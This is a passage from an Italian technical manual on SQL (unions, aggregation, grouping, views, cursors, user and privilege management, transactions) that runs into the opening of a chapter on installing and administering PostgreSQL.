Esiste anche un'altra situazione in cui si ottiene l'interrogazione simultanea di più relazioni: l'***unione***. Si tratta semplicemente di attaccare il risultato di un'interrogazione su una relazione con quello di un'altra relazione, quando gli attributi finali appartengono allo stesso tipo di dati.

```
SELECT specificazione_dell'attributo_1 [, ...specificazione_dell'attributo_n]
         FROM specificazione_della_relazione_1 [, ...specificazione_della_relazione_n]
         [WHERE condizione]
    UNION
         SELECT specificazione_dell'attributo_1 [, ...specificazione_dell'attributo_n]
              FROM specificazione_della_relazione_1 [, ...specificazione_della_relazione_n]
              [WHERE condizione]
```

Lo schema sintattico dovrebbe essere abbastanza esplicito: si uniscono due istruzioni '**SELECT**' in un risultato unico, attraverso la parola chiave '**UNION**'.

85.5.2.4 Condizioni

La condizione che esprime la selezione delle tuple può essere composta come si vuole, purché il risultato sia di tipo logico e i dati a cui si fa riferimento provengano dalle relazioni di partenza. Quindi si possono usare anche altri operatori di confronto, funzioni e operatori booleani.

È bene ricordare che il valore indefinito, rappresentato da '**NULL**', è diverso da qualunque altro valore, compreso un altro valore indefinito. Per verificare che un valore sia o non sia indefinito, si deve usare l'operatore '**IS NULL**' oppure '**IS NOT NULL**'.

85.5.2.5 Aggregazioni

L'aggregazione è una forma di interrogazione attraverso cui si ottengono risultati riepilogativi del contenuto di una relazione, in forma di relazione contenente una sola tupla. Per questo si utilizzano delle funzioni speciali al posto dell'espressione che esprime gli attributi del risultato. Queste funzioni restituiscono un solo valore e come tali concorrono a creare un'unica tupla. Le funzioni di aggregazione sono: ***COUNT()***, ***SUM()***, ***MAX()***, ***MIN()***, ***AVG()***. Per intendere il problema, si osservi l'esempio seguente:

```
SELECT COUNT(*) FROM Movimenti WHERE ...
```

In questo caso, quello che si ottiene è solo il numero di tuple della relazione '**`Movimenti`**' che soddisfano la condizione posta dopo la parola chiave '**`WHERE`**' (qui non è stata indicata). L'asterisco posto come parametro della funzione ***COUNT()*** rappresenta effettivamente l'elenco di tutti i nomi degli attributi della relazione '**`Movimenti`**'.

Quando si utilizzano funzioni di questo tipo, occorre considerare che l'elaborazione si riferisce alla relazione virtuale generata dopo la selezione posta da '**`WHERE`**'.

La funzione ***COUNT()*** può essere descritta attraverso la sintassi seguente:

```
COUNT( * )
```

```
COUNT( [DISTINCT|ALL] lista_attributi)
```

Utilizzando la forma già vista, quella dell'asterisco, si ottiene solo il numero delle tuple della relazione. L'opzione '**`DISTINCT`**', seguita da una lista di nomi di attributi, fa in modo che vengano contate le tuple contenenti valori differenti per quel gruppo di attributi. L'opzione '**`ALL`**' è implicita quando non si usa '**`DISTINCT`**' e indica semplicemente di contare tutte le tuple.

Il conteggio delle tuple esclude in ogni caso quelle in cui il contenuto di tutti gli attributi selezionati è indefinito ('**`NULL`**').

Le altre funzioni aggreganti non prevedono l'asterisco, perché fanno riferimento a un'espressione che genera un risultato per ogni tupla ottenuta dalla selezione.

```
SUM( [DISTINCT|ALL] espressione)
```

```
MAX( [DISTINCT|ALL] espressione)
```

```
MIN( [DISTINCT|ALL] espressione)
```

```
AVG( [DISTINCT|ALL] espressione)
```

In linea di massima, per tutti questi tipi di funzioni aggreganti, l'espressione deve generare un risultato numerico, sul quale calcolare la sommatoria, ***SUM()***, il valore massimo, ***MAX()***, il valore minimo, ***MIN()***, la media, ***AVG()***.

L'esempio seguente calcola lo stipendio medio degli impiegati, ottenendo i dati da un'ipotetica relazione '**`Emolumenti`**', limitandosi ad analizzare le tuple riferite a un certo settore.

```
SELECT AVG( Stipendio ) FROM Emolumenti
    WHERE Settore = 'Amministrazione'
```

L’esempio seguente è una variante in cui si estraggono rispettivamente lo stipendio massimo, medio e minimo.

```
SELECT MAX( Stipendio ), AVG( Stipendio ), MIN( Stipendio ) FROM Emolumenti
    WHERE Settore = 'Amministrazione'
```

L’esempio seguente è invece volutamente **errato**, perché si mescolano funzioni aggreganti assieme a espressioni di attributi normali.

```
-- Esempio errato
SELECT MAX( Stipendio ), Settore FROM Emolumenti
    WHERE Settore = 'Amministrazione'
```

85.5.2.6 Raggruppamenti

Le aggregazioni possono essere effettuate in riferimento a gruppi di tuple, distinguibili in base al contenuto di uno o più attributi. In questo tipo di interrogazione si può generare solo una relazione composta da tanti attributi quanti sono quelli presi in considerazione dall’opzione di raggruppamento, assieme ad altre contenenti solo espressioni di aggregazione.

Alla sintassi normale già vista nelle sezioni precedenti, si aggiunge la clausola ‘**`GROUP BY`**’.

```
SELECT specificazione_dell'attributo_1 [,...specificazione_dell'attributo_n]
    FROM specificazione_della_relazione_1 [,...specificazione_della_relazione_n]
    [WHERE condizione]
    GROUP BY attributo_1 [,...]
```

Per comprendere l’effetto di questa sintassi, si deve scomporre idealmente l’operazione di selezione da quella di raggruppamento:

1. la relazione ottenuta dall’istruzione ‘**`SELECT...FROM`**’ viene filtrata dalla condizione ‘**`WHERE`**’;
2. la relazione risultante viene riordinata in modo da raggruppare le tuple in cui i contenuti degli attributi elencati dopo l’opzione ‘**`GROUP BY`**’ sono uguali;
3. su questi gruppi di tuple vengono valutate le funzioni di aggregazione.

Figura 85.62. Carichi e scarichi in magazzino.

Movimenti				
Codice	**Data**	**Carico**	**Scarico**	**...**
vite40	01/01/2010	1200		...
vite30	01/01/2010		800	...
vite40	01/01/2010	1500		...
vite30	02/01/2010		1000	...
vite30	03/01/2010	2000		...
rond50	03/01/2010		500	...
vite40	04/01/2010	2200		...

Si osservi la relazione riportata in figura 85.62, mostra la solita sequenza di carichi e scarichi di magazzino. Si potrebbe porre il problema di conoscere il totale dei carichi e degli scarichi per ogni articolo di magazzino. La richiesta può essere espressa con l'istruzione seguente:

```
SELECT Codice, SUM( Carico ), SUM( Scarico ) FROM Movimenti
    GROUP BY Codice
```

Quello che si ottiene appare nella figura 85.64.

Figura 85.64. Carichi e scarichi totali.

Codice	SUM(Carico)	SUM(Scarico)
vite40	4900	
vite30	2000	1800
rond50		500

Volendo si possono fare i raggruppamenti in modo da avere i totali distinti anche in base al giorno, come nell'istruzione seguente:

```
SELECT Codice, Data, SUM( Carico ), SUM( Scarico ) FROM Movimenti
    GROUP BY Codice, Data
```

Come già affermato, la condizione posta dopo la parola chiave '**`WHERE`**' serve a filtrare inizialmente le tuple da considerare nel raggruppamento. Se quello che si vuole è filtrare ulteriormente il risultato di un raggruppamento, occorre usare la clausola '**`HAVING`**'.

```
SELECT specificazione_dell'attributo_1 [,...specificazione_dell'attributo_n]
    FROM specificazione_della_relazione_1 [,...specificazione_della_relazione_n]
    [WHERE condizione]
    GROUP BY attributo_1 [,...]
    HAVING condizione
```

L'esempio seguente serve a ottenere il raggruppamento dei carichi e scarichi degli articoli, limitando però il risultato a quelli per i quali sia stata fatta una quantità di scarichi consistente (superiore a 1 000 unità).

```
SELECT Codice, SUM( Carico ), SUM( Scarico ) FROM Movimenti
    GROUP BY Codice
    HAVING SUM( Scarico ) > 1000
```

Dall'esempio già visto in figura 85.64 risulterebbe escluso l'articolo '**`rond50`**'.

85.5.3 Trasferimento di dati in un'altra relazione

Alcune forme particolari di interrogazioni SQL possono essere utilizzate per inserire dati in relazioni esistenti o per crearne di nuove.

85.5.3.1 Creazione di una nuova relazione a partire da altre

L'istruzione '**`SELECT`**' può servire per creare una nuova relazione a partire dai dati ottenuti dalla sua interrogazione.

```
SELECT specificazione_dell'attributo_1 [,...specificazione_dell'attributo_n]
    INTO TABLE relazione_da_generare
    FROM specificazione_della_relazione_1 [,...specificazione_della_relazione_n]
    [WHERE condizione]
```

L'esempio seguente crea la relazione '**`Mia_prova`**' come risultato della fusione delle relazioni '**`Indirizzi`**' e '**`Presenze`**'.

```
SELECT
    Presenze.Giorno,
    Presenze.Ingresso,
    Presenze.Uscita,
    Indirizzi.Cognome,
    Indirizzi.Nome
    INTO TABLE Mia_prova
    FROM Presenze, Indirizzi
    WHERE Presenze.Codice = Indirizzi.Codice;
```

85.5.3.2 Inserimento in una relazione esistente

L'inserimento di dati in una relazione esistente prelevando da dati contenuti in altre, può essere fatta attraverso l'istruzione '**INSERT**' sostituendo la clausola '**VALUES**' con un'interrogazione ('**SELECT**').

```
INSERT INTO nome_relazione [(attributo_1...attributo_n)]
    SELECT espressione_1, ... espressione_n
        FROM relazioni_di_origine
        [WHERE condizione]
```

L'esempio seguente aggiunge alla relazione dello storico delle presenze le registrazioni vecchie che poi vengono cancellate.

```
INSERT INTO PresenzeStorico (
        PresenzeStorico.Codice,
        PresenzeStorico.Giorno,
        PresenzeStorico.Ingresso,
        PresenzeStorico.Uscita
    )
    SELECT
        Presenze.Codice,
        Presenze.Giorno,
        Presenze.Ingresso,
        Presenze.Uscita
        FROM Presenze
        WHERE Presenze.Giorno <= '01/01/1999';

DELETE FROM Presenze WHERE Giorno <= '01/01/1999';
```

85.5.4 Viste

Le viste sono delle relazioni virtuali ottenute a partire da relazioni vere e proprie o da altre viste, purché non si formino ricorsioni. Il concetto non dovrebbe risultare strano. In effetti, il risultato delle interrogazioni è sempre in forma di relazione. La vista crea una sorta di interrogazione permanente che acquista la personalità di una relazione normale.

```
CREATE VIEW nome_vista [(attributo_1[,...attributo_n)]]
    AS richiesta
```

Dopo la parola chiave '**AS**' deve essere indicato ciò che compone un'istruzione '**SELECT**'. L'esempio seguente, genera la vista dei movimenti di magazzino del solo articolo '**vite30**'.

```
CREATE VIEW Movimenti_Vite30
    AS SELECT Codice, Data, Carico, Scarico
        FROM Movimenti
        WHERE Codice = 'vite30'
```

L'eliminazione di una vista si ottiene con l'istruzione '**DROP VIEW**', come illustrato dallo schema sintattico seguente:

```
DROP VIEW nome_vista
```

Volendo eliminare la vista '**Movimenti_Vite30**', si può intervenire semplicemente come nell'esempio seguente:

```
DROP VIEW Movimenti_Vite30
```

85.5.5 Cursori

Quando il risultato di un'interrogazione SQL deve essere gestito all'interno di un programma, si pone un problema nel momento in cui ciò che si ottiene è composto da più di una sola tupla. Per poter scorrere un elenco ottenuto attraverso un'istruzione '**SELECT**', tupla per tupla, si deve usare un ***cursore***.

La dichiarazione e l'utilizzo di un cursore avviene all'interno di una transazione. Quando la transazione si chiude attraverso un'istruzione '**COMMIT**' o '**ROLLBACK**', si chiude anche il cursore.

85.5.5.1 Dichiarazione e apertura

L'SQL prevede due fasi prima dell'utilizzo di un cursore: la dichiarazione e la sua apertura:

```
DECLARE cursore [INSENSITIVE] [SCROLL] CURSOR FOR
    SELECT ...
```

```
OPEN cursore
```

Nella dichiarazione, la parola chiave '**INSENSITIVE**' serve a stabilire che il risultato dell'interrogazione che si scandisce attraverso il cursore, non deve essere sensibile alle variazioni dei dati originali; la parola chiave '**SCROLL**' indica che è possibile estrarre più tuple simultaneamente attraverso il cursore.

```
DECLARE Mio_cursore CURSOR FOR
    SELECT
        Presenze.Giorno,
        Presenze.Ingresso,
        Presenze.Uscita,
        Indirizzi.Cognome,
        Indirizzi.Nome
        FROM Presenze, Indirizzi
        WHERE Presenze.Codice = Indirizzi.Codice;
```

L'esempio mostra la dichiarazione del cursore '**Mio_cursore**', abbinato alla selezione degli attributi composti dal collegamento di due relazioni, '**Presenze**' e '**Indirizzi**', dove le tuple devono avere lo stesso numero di codice. Per attivare questo cursore, lo si deve aprire come nell'esempio seguente:

```
OPEN Mio_cursore
```

85.5.5.2 Scansione

La scansione di un'interrogazione inserita in un cursore, avviene attraverso l'istruzione '**FETCH**'. Il suo scopo è quello di estrarre una tupla alla volta, in base a una posizione, relativa o assoluta.

```
FETCH [ [ NEXT | PRIOR | FIRST | LAST | { ABSOLUTE | RELATIVE } n ]
    FROM cursore ]
    INTO :variabile [,...]
```

Le parole chiave '**NEXT**', '**PRIOR**', '**FIRST**', '**LAST**', permettono rispettivamente di ottenere la tupla successiva, quella precedente, la prima e l'ultima. Le parole chiave '**ABSOLUTE**' e '**RELATIVE**' sono seguite da un numero, corrispondente alla scelta della tupla ***n***-esima, rispetto all'inizio del gruppo per il quale è stato definito il cursore ('**ABSOLUTE**'), oppure della tupla ***n***-esima rispetto all'ultima tupla estratta da un'istruzione '**FETCH**' precedente.

Le variabili indicate dopo la parola chiave '**INTO**', che in particolare sono precedute da due punti ('**:**'), ricevono ordinatamente il contenuto dei vari attributi della tupla estratta. Naturalmente, le variabili in questione devono appartenere a un linguaggio di programmazione che incorpora l'SQL, dal momento che l'SQL stesso non fornisce questa possibilità.

```
FETCH NEXT FROM Mio_cursore
```

L'esempio mostra l'uso tipico di questa istruzione, dove si legge la tupla successiva (se non ne sono state lette fino a questo punto, si tratta della prima), dal cursore dichiarato e aperto precedentemente. L'esempio seguente è identico dal punto di vista funzionale.

```
FETCH RELATIVE 1 FROM Mio_cursore
```

I due esempi successivi sono equivalenti e servono a ottenere la tupla precedente.

```
FETCH PRIOR FROM Mio_cursore
```

```
FETCH RELATIVE -1 FROM Mio_cursore
```

85.5.5.3 Chiusura

Il cursore, al termine dell'utilizzo, deve essere chiuso:

```
CLOSE cursore
```

Seguendo gli esempi visti in precedenza, per chiudere il cursore '**Mio_cursore**' basta l'istruzione seguente:

```
CLOSE Mio_cursore
```

85.6 DCL

DCL, ovvero *Data control language*, è il linguaggio usato per il «controllo» delle basi di dati. In questa sezione viene trattato il linguaggio SQL per ciò che riguarda la gestione delle basi di dati, degli utenti, dei privilegi assegnati loro e il controllo delle transazioni.

85.6.1 Gestione delle utenze

La gestione degli accessi in una base di dati è molto importante e potenzialmente indipendente dall'eventuale gestione degli utenti del sistema operativo sottostante. Per quanto riguarda i sistemi Unix, il DBMS può riutilizzare la definizione degli utenti del sistema operativo, farvi riferimento, oppure astrarsi completamente (spesso vale questa ultima ipotesi).

Un DBMS SQL richiede la presenza di almeno un amministratore complessivo, che come tale abbia sempre tutti i privilegi necessari a intervenire come vuole nel DBMS. Il nome simbolico predefinito per questo utente dal linguaggio SQL standard è '**`_SYSTEM`**'.

Il sistema di definizione e controllo delle utenze è esterno al linguaggio SQL standard; tuttavia, i DBMS principali utilizzano istruzioni abbastanza uniformi per questo scopo.

Per la creazione di un utente si dispone normalmente dell'istruzione '**`CREATE USER`**', con opzioni che dipendono dalle caratteristiche particolari del DBMS, nella gestione delle utenze. I due modelli sintattici successivi si riferiscono, rispettivamente, a Oracle e a PostgreSQL, ma omettono varie opzioni specifiche e presumono che l'utente debba essere identificato attraverso una parola d'ordine:

```
CREATE USER nome_utente IDENTIFIED BY 'parola_d'ordine'
```

```
CREATE USER nome_utente [WITH PASSWORD 'parola_d'ordine']
```

Nel caso di MySQL, invece di introdurre un'istruzione che non esiste nello standard, si estende quella con cui si concedono i privilegi (descritta in un'altra sezione):

```
GRANT privilegi
    ON risorsa[,...]
    TO utente
    IDENTIFIED BY 'parola_d'ordine'
    [WITH GRANT OPTION]
```

In tal modo, attribuendo dei privilegi a un utente, se questo non esiste ancora, viene creato contestualmente. Si osservi comunque, che le versioni più recenti di MySQL dispongono di un'istruzione '**`CREATE USER`**' simile a quella di altri DBMS.

Per l'eliminazione di un utente si dispone normalmente dell'istruzione '**`DROP USER`**', con opzioni che di solito consentono l'eliminazione contestuale di tutto ciò che appartiene a tale utente:

```
DROP USER nome_utente
```

Per modificare la parola d'ordine di un utente, si dispone normalmente dell'istruzione '**ALTER USER**', con la quale si potrebbero cambiare anche altre opzioni legate ai privilegi generali di cui può disporre tale utente. I due modelli sintattici successivi si riferiscono, rispettivamente, a Oracle e a PostgreSQL, omettendo opzioni che non sono indispensabili:

```
ALTER USER nome_utente IDENTIFIED BY 'parola_d'ordine'
```

```
ALTER USER nome_utente [WITH PASSWORD 'parola_d'ordine']
```

Nel caso di MySQL si usa una forma differente:

```
SET PASSWORD FOR nome_utente = PASSWORD('parola_d'ordine')
```

85.6.2 Gestione delle basi di dati

La creazione e l'eliminazione delle basi di dati è una funzione non considerata dallo standard SQL, anche se è normale che un DBMS consenta la gestione di più basi di dati simultaneamente. Pertanto, i vari DBMS offrono delle istruzioni SQL abbastanza uniformi:

```
CREATE DATABASE nome_base_di_dati
```

Di solito, salvo indicazione diversa derivante da opzioni particolari aggiunte all'istruzione, l'utente che crea la base di dati ne diviene il proprietario, con ogni facoltà sulla stessa, anche quella di eliminarla.

È il caso di osservare che uno dei problemi tecnici da considerare nella creazione di una base di dati sta nel definire la codifica da usare per la memorizzazione delle informazioni testuali. Di solito, questo genere di cose viene definito tramite delle opzioni specifiche, che si aggiungono al modello sintetico e generalizzato mostrato qui.

L'eliminazione di una base di dati richiede generalmente un'istruzione altrettanto semplice:

```
DROP DATABASE nome_base_di_dati
```

La differenza più importante tra i vari DBMS consiste nel modo di comportarsi di fronte a questo comando, quando la base di dati non è vuota. Se esiste un contenuto, la cancellazione potrebbe essere rifiutata, oppure potrebbe essere ammessa se si aggiungono opzioni specifiche che servono a confermarne l'eliminazione. Tuttavia, non si può contare su un controllo di questo genere e la cancellazione di una base di dati richiede sempre la dovuta prudenza.

85.6.3 Gestione dei privilegi standard

L'utente che crea una relazione, o un'altra risorsa, è il suo creatore. Su tale risorsa è l'unico utente che possa modificarne la struttura e che possa eliminarla. In pratica è l'unico che possa usare le istruzioni '**DROP**' e '**ALTER**'. Chi crea una relazione, o un'altra risorsa, può concedere o revocare i privilegi degli altri utenti su di essa.

I privilegi che si possono concedere o revocare su una risorsa sono di vario tipo, espressi attraverso una parola chiave particolare. È bene considerare i casi seguenti:

Privilegio	Descrizione
`SELECT`	rappresenta l'operazione di lettura del valore di un oggetto della risorsa, per esempio dei valori di una tupla da una relazione (in pratica si riferisce all'uso dell'istruzione '**SELECT**');
`INSERT`	rappresenta l'azione di inserire un nuovo oggetto nella risorsa, come l'inserimento di una tupla in una relazione;
`UPDATE`	rappresenta l'operazione di aggiornamento del valore di un oggetto della risorsa, per esempio la modifica del contenuto di una tupla di una relazione;
`DELETE`	rappresenta l'eliminazione di un oggetto dalla risorsa, come la cancellazione di una tupla da una relazione;
`ALL PRIVILEGES`	rappresenta simultaneamente tutti i privilegi possibili riferiti a un oggetto.

I privilegi su una relazione, o su un'altra risorsa, vengono concessi attraverso l'istruzione '**GRANT**':

```
GRANT privilegi
    ON risorsa [,...]
    TO utenti
    [WITH GRANT OPTION]
```

Nella maggior parte dei casi, le risorse da controllare coincidono con una relazione. L'esempio seguente permette all'utente '**Pippo**' di leggere il contenuto della relazione '**Movimenti**':

```
GRANT SELECT ON Movimenti TO Pippo
```

L'esempio seguente, concede tutti i privilegi sulla relazione '**Movimenti**' agli utenti '**Pippo**' e '**Arturo**':

```
GRANT ALL PRIVILEGES ON Movimenti TO Pippo, Arturo
```

L'opzione '**WITH GRANT OPTION**' permette agli utenti presi in considerazione di concedere a loro volta tali privilegi ad altri utenti. L'esempio seguente concede all'utente '**Pippo**' di accedere in lettura al contenuto della relazione '**Movimenti**' e gli permette di concedere lo stesso privilegio ad altri:

```
GRANT SELECT ON Movimenti TO Pippo WITH GRANT OPTION
```

I privilegi su una relazione, o un'altra risorsa, vengono revocati attraverso l'istruzione '**REVOKE**':

```
REVOKE privilegi
    ON risorsa [,...]
    FROM utenti
```

L'esempio seguente toglie all'utente '**`Pippo`**' il permesso di accedere in lettura al contenuto della relazione '**`Movimenti`**':

```
REVOKE SELECT ON Movimenti FROM Pippo
```

L'esempio seguente toglie tutti i privilegi sulla relazione '**`Movimenti`**' agli utenti '**`Pippo`**' e '**`Arturo`**':

```
REVOKE ALL PRIVILEGES ON Movimenti FROM Pippo, Arturo
```

85.6.4 Controllo delle transazioni

Una transazione SQL, è una sequenza di istruzioni che rappresenta un corpo unico dal punto di vista della memorizzazione effettiva dei dati. In altre parole, secondo l'SQL, la registrazione delle modifiche apportate alla base di dati avviene in modo asincrono, raggruppando assieme l'effetto di gruppi di istruzioni determinati.

Una transazione inizia nel momento in cui l'interprete SQL incontra, generalmente, l'istruzione '**`START TRANSACTION`**', terminando con l'istruzione '**`COMMIT`**', oppure '**`ROLLBACK`**': nel primo caso si conferma la transazione che viene memorizzata regolarmente, mentre nel secondo si richiede di annullare le modifiche apportate dalla transazione.

```
START TRANSACTION
```

```
COMMIT [WORK]
```

```
ROLLBACK [WORK]
```

Stando così le cose, si intende la necessità di utilizzare regolarmente l'istruzione '**`COMMIT`**' per memorizzare i dati quando non esiste più la necessità di annullare le modifiche.

```
START TRANSACTION
…
COMMIT

INSERT INTO Indirizzi
    VALUES (
        01,
        'Pallino',
        'Pinco',
        'Via Biglie 1',
        '0222,222222'
    )

COMMIT
```

L'esempio mostra un uso intensivo dell'istruzione '**`COMMIT`**', dove dopo l'inserimento di una tupla nella relazione '**`Indirizzi`**', viene confermata immediatamente la transazione.

```
START TRANSACTION
…
COMMIT

INSERT INTO Indirizzi
    VALUES (
        01,
        'Pallino',
        'Pinco',
        'Via Biglie 1',
        '0222,222222'
    )

ROLLBACK
```

Questo esempio mostra un ripensamento (per qualche motivo). Dopo l'inserimento di una tupla nella relazione '**`Indirizzi`**', viene annullata la transazione, riportando la relazione allo stato precedente.

85.7 Riferimenti

- Paolo Atzeni, Stefano Ceri, Stefano Paraboschi, Riccardo Torlone, *Basi di dati, concetti, linguaggi e architetture*, McGraw-Hill
- James Hoffmann, *Introduction to Structured Query Language*
  ⟨*http://www.highcroft.com/highcroft/sql_intro.pdf* ⟩
- *JCC's SQL Std. Page*
  ⟨*http://www.jcc.com/sql.htm* ⟩
- *SQL Reference Page*
  ⟨*http://www.contrib.andrew.cmu.edu/~shadow/sql.html* ⟩

- *SQL92 BNF*

  ⟨*http://www.contrib.andrew.cmu.edu/~shadow/sql/sql2bnf.aug92.txt* ⟩

- *ISO/IEC 9075:1992, Database Language SQL*

  ⟨*http://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt* ⟩

- *BNF Grammar for ISO/IEC 9075:1999 - Database Language SQL (SQL-99)*

  ⟨*http://savage.net.au/SQL/sql-99.bnf* ⟩

  ⟨*http://savage.net.au/SQL/sql-99.bnf.html* ⟩

- *PostgreSQL*

  ⟨*http://www.postgresql.org/* ⟩

- *MySQL*

  ⟨*http://www.mysql.com/* ⟩

- *MaxDB*

  ⟨*http://www.mysql.com/sap/* ⟩

- *Firebird*

  ⟨*http://firebird.sourceforge.net/* ⟩

Capitolo 86

PostgreSQL

86.1 Struttura e preparazione 5215

86.1.1 Struttura dei dati nel file system 5216
86.1.2 Amministratore 5217
86.1.3 Creazione del sistema di basi di dati 5217
86.1.4 Avvio del servizio 5219
86.1.5 Configurazione del DBMS 5222
86.1.6 Accesso e autenticazione 5223

86.2 Gestione del DBMS 5226

86.2.1 Accesso a una base di dati 5227
86.2.2 Organizzazione degli utenti 5231
86.2.3 Creazione ed eliminazione delle basi di dati 5233
86.2.4 La base di dati amministrativa 5234
86.2.5 Manutenzione delle basi di dati 5235
86.2.6 Copie di sicurezza 5236
86.2.7 Importazione ed esportazione dei dati 5239

86.3 Il linguaggio 5241

86.3.1 Prima di iniziare 5241
86.3.2 Tipi di dati e rappresentazione 5242
86.3.3 Funzioni 5246
86.3.4 Esempi comuni 5247
86.3.5 Controllo delle transazioni 5255
86.3.6 Cursori 5255
86.3.7 Impostazione dell'ora locale 5257

86.4 Accesso attraverso PgAccess 5257

86.4.1 Accesso alla base di dati 5258
86.4.2 Gli «oggetti» secondo PgAccess 5260
86.4.3 Relazioni 5260
86.4.4 Interrogazioni e viste 5262
86.4.5 Stampe 5264

86.5 Accesso attraverso WWW-SQL 5266

86.5.1 Principio di funzionamento 5266
86.5.2 Preparazione delle basi di dati e accesso 5267
86.5.3 Linguaggio di WWW-SQL 5267
86.5.4 Istruzioni 5275

86.6 Riferimenti 5280

pg_database 5234 pg_shadow 5234 pg_user 5234 psql 5227 $PGHOST 5227 $PGPORT 5227

86.1 Struttura e preparazione

PostgreSQL[1] è un DBMS (*Data base management system*) relazionale, esteso agli oggetti. In questo capitolo si vuole introdurre al suo utilizzo e accennare alla sua struttura, senza affrontare le particolarità del linguaggio di interrogazione. Il nome lascia intendere che si tratti di un DBMS in grado di comprendere le istruzioni SQL.

86.1.1 Struttura dei dati nel file system

PostgreSQL, a parte i programmi binari, gli script e la documentazione, colloca i file di gestione delle basi di dati a partire da una certa directory, che nella documentazione originale viene definita '**PGDATA**'. Questo è il nome di una variabile di ambiente che può essere utilizzata per informare i vari programmi di PostgreSQL della sua collocazione; tuttavia, di solito questo meccanismo della variabile di ambiente non viene utilizzato, specificando tale directory in fase di compilazione dei sorgenti oppure avviando i programmi con opzioni appropriate.

Tutti i programmi che compongono il sistema di PostgreSQL, che hanno la necessità di sapere dove si trovano i dati, oltre al meccanismo della variabile di ambiente '**PGDATA**' permettono di indicare tale directory attraverso un'opzione della riga di comando. I programmi più importanti riconoscono l'opzione '**-D**'. Come si può intuire, l'utilizzo di questa opzione, o di un'altra equivalente per gli altri programmi, fa in modo che l'indicazione della variabile '**PGDATA**' non abbia effetto.

Questa directory è contenuta solitamente nella directory iniziale dell'utente di sistema per l'amministrazione di PostgreSQL, che dovrebbe essere '**postgres**'. La directory iniziale dell'utente '**postgres**' (ovvero '~postgres/') è normalmente '/var/lib/postgres/'; la directory usata normalmente per collocarvi le basi di dati è normalmente '~postgres/data/', ovvero '/var/lib/postgres/data/'. Di norma, tutto ciò che si trova a partire da '~postgres/' appartiene all'utente '**postgres**', anche se i permessi per il gruppo e gli altri utenti variano a seconda della circostanza.

Inizialmente, la directory che costituisce l'inizio delle basi di dati ('~postgres/data/') dovrebbe contenere dei file di configurazione, una basi di dati amministrativa (trasparente) e una base di dati da usare come modello per la produzione di altre ('**template1**') o semplicemente per accedere al DBMS quando non se ne può indicare un'altra. Naturalmente, se per qualche ragione si utilizza l'utenza '**postgres**' in modo normale, nella sua directory personale ('~postgres/') potrebbero apparire dei file che riguardano la personalizzazione di questo utente ('.profile', '.bash_history', o altre cose simili, in funzione dei programmi che si utilizzano).

86.1.2 Amministratore

L'amministratore dei servizi offerti dal DBMS PostgreSQL potrebbe essere una persona diversa dall'amministratore del sistema operativo (l'utente '**`root`**') e corrisponde di solito all'utente '**`postgres`**'. In condizioni normali, tale utente del DBMS viene riconosciuto implicitamente da PostgreSQL, purché acceda localmente utilizzando un'utenza del sistema operativo con lo stesso nome.

Quando la propria distribuzione GNU è già predisposta per PostgreSQL, l'utente '**`postgres`**' dovrebbe essere stato previsto (non importa il numero UID che gli sia stato abbinato), ma quasi sicuramente la parola d'ordine per l'accesso al sistema operativo dovrebbe essere «impossibile», come nell'esempio seguente:

```
postgres:!:101:101:PostgreSQL Server:/var/lib/postgres:/bin/bash
```

Come si vede, in questo esempio il campo della parola d'ordine è occupato da un punto esclamativo che di fatto impedisce l'accesso all'utente '**`postgres`**'.

A questo punto si pongono due alternative, a seconda che si voglia affidare la gestione del DBMS allo stesso utente '**`root`**' oppure che si voglia incaricare per questo un altro utente. Nel primo caso non occorrono cambiamenti: l'utente '**`root`**' può diventare '**`postgres`**' quando vuole con il comando '**`su`**'.

`#` **`su postgres`** [*Invio*]

Nel secondo caso, l'attribuzione di una parola d'ordine all'utente '**`postgres`**' permetterebbe a una persona diversa di amministrare il DBMS.

`#` **`passwd postgres`** [*Invio*]

Di solito, nella sua configurazione iniziale, l'utente '**`postgres`**' ha la facoltà di accedere localmente al DBMS, senza bisogno di altre forme di autenticazione, a parte il fatto di essere riconosciuto dal sistema operativo proprio con quello stesso nome. Ciò dipende principalmente dalla configurazione contenuta nel file '`pg_hba.conf`', che viene descritto in seguito, all'interno di questo capitolo. Negli esempi che si mostrano qui, si presume proprio che l'utente '**`postgres`**' del sistema operativo, in quanto tale, sia riconosciuto così anche dal DBMS; se così non fosse, a causa della configurazione, è probabile vedere apparire la richiesta di introdurre una parola d'ordine, riferita però al DBMS.

86.1.3 Creazione del sistema di basi di dati

La prima volta che si installa PostgreSQL, è molto probabile che venga predisposta automaticamente la directory '`~postgres/`'. Se così non fosse, o se per qualche motivo si dovesse intervenire manualmente, si può utilizzare '**`initdb`**', che però potrebbe risiedere al di fuori dei percorsi normali contenuti nella variabile '**`$PATH`**'; precisamente potrebbe trattarsi della directory '`/usr/lib/postgresql/bin/`'.

[***percorso***] `initdb` [***opzioni***] [`--pgdata=`***directory*** | `-D` ***directory***]

Lo schema sintattico mostra in modo molto semplice l'uso di '**initdb**'. Se si definisce correttamente la variabile di ambiente '**PGDATA**', si può fare anche a meno delle opzioni, diversamente diventa necessario dare questa informazione attraverso l'opzione '**-D**'.

Volendo fare tutto da zero, occorre predisporre la directory iniziale in modo che appartenga dell'utente fittizio '**postgres**':

`#` **`mkdir ~postgres`** [*Invio*]

`#` **`chown postgres: ~postgres`** [*Invio*]

Prima di avviare '**initdb**', è bene utilizzare l'identità dell'utente amministratore di PostgreSQL:

`#` **`su postgres`** [*Invio*]

Successivamente, si deve avviare '**initdb**' specificando la directory a partire dalla quale si devono articolare i file che costituiscono le basi di dati. Come già descritto, la directory in questione è normalmente '`~postgres/data/`':

`postgres$` **`/usr/lib/postgresql/bin/initdb --locale=it_IT.UTF-8`** ↩
↪ **`--encoding=UNICODE --pgdata=/var/lib/postgres/data`** [*Invio*]

```
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.

The database cluster will be initialized with locale it_IT.UTF-8.

creating directory /var/lib/postgres/data... ok
creating directory /var/lib/postgres/data/base... ok
creating directory /var/lib/postgres/data/global... ok
creating directory /var/lib/postgres/data/pg_xlog... ok
creating directory /var/lib/postgres/data/pg_clog... ok
selecting default max_connections... 100
selecting default shared_buffers... 1000
creating configuration files... ok
creating template1 database in /var/lib/postgres/data/base/1... ok
initializing pg_shadow... ok
enabling unlimited row size for system tables... ok
initializing pg_depend... ok
creating system views... ok
loading pg_description... ok
creating conversions... ok
setting privileges on built-in objects... ok
creating information schema... ok
vacuuming database template1... ok
copying template1 to template0... ok

Success. The database server should be started automatically.
If not, you can start the database server using:

    /etc/init.d/postgresql start
```

